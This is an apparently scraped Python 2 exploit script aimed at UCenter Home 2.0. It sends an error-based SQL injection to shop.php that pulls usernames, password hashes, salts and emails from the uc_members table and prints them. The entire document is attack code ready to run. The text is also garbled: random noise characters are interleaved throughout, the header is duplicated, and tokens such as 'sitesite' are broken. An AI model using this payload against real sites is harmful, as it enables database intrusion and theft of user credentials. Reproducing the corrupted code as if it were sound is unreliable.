#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl4 d! M' X3 P1 f+ e/ C/ I
6 e# i# Y" F |# V3 ^
; S& |0 |/ d6 n- {, n* T' F' J#!/usr/bin/env python
( q# s2 |$ W9 p" v: L
" R/ L4 s# J, S" I2 i; `# gimport sys ! Q3 u& Z, h% s2 g7 a) o
import urllib2 9 y) ?' U* C- W) k. @0 Y2 ^
import re
( _9 ^& ?. k! Z8 J0 O6 ?& ]; D , H3 j0 i% ]! V6 P9 Y0 x
def info():
# k% B. J9 \3 G$ G$ r! r( } print 'From:http://www.exploit-db.com/exploits/14997/'
j3 Y; R7 S9 h; _0 A print 'http://www.hake.cc/Web_loudong/'
/ ^# I; ~3 u! Z6 L print 'changed:qiaoy' " b8 }2 Q5 g/ e7 o* g5 c# i; H
print 'exp:' - W, L) j: t! ]" K# l- l
print ' ./UCenter_Home_2.0.py site'
/ M4 `. N0 t6 y& j0 i) C& o
1 A/ {1 r* `- {2 N9 {) T0 Wdef main(): 3 `# r& X3 Z$ z
if len(sys.argv) != 2:
( }* g) s* {: I" L: J, C info()
% P2 m" E* N" w# [8 n else: 7 G; Y H& |3 E( k1 R
site = sys.argv[1]
* M) A3 h' i+ l# U if site[0:7] == 'http://':
4 L" G* i( z A0 `9 E$ L sitesite =site . X, q5 o* Z2 ^
elif site[0:8] == 'https://':
, L2 F4 H) S4 I! L4 d( T" \7 `/ \- j7 l sitesite = site
! p( o* H. Q8 n4 F: C0 c& d: r5 m else: 2 q5 _" N5 u1 y( Z
site = 'http://'+site 2 ?/ L7 y7 w5 h: n
try:
+ T5 X5 s1 {( T$ r url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 7 C" ^5 H: v$ f3 Y9 I5 G
Value = urllib2.urlopen(url).read()
" Q$ j% b( _, {! l- S3 p( u Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
- ~' i, [/ D* R6 W) @1 y hacked = Msg.split(':')
% D# M9 ^# ~- T7 f print 'Name: '+hacked[1]
- o* s7 [9 C0 h print 'Passwd: '+hacked[2]
) l/ B1 g4 q5 Y) R print 'salt: '+hacked[3]
! }- P$ L% E/ W d" Z print 'email: '+hacked[4] & g# I/ T9 s. t, J% C! D
except: ) x) H6 `' {* e
print 'Sorry,I can\'t work............'
! E) S$ ]# n4 A0 M8 U. Q
% y9 z9 I& l- e: M: I% t sif __name__ == '__main__': ' k* t. O; }: X& M
main() |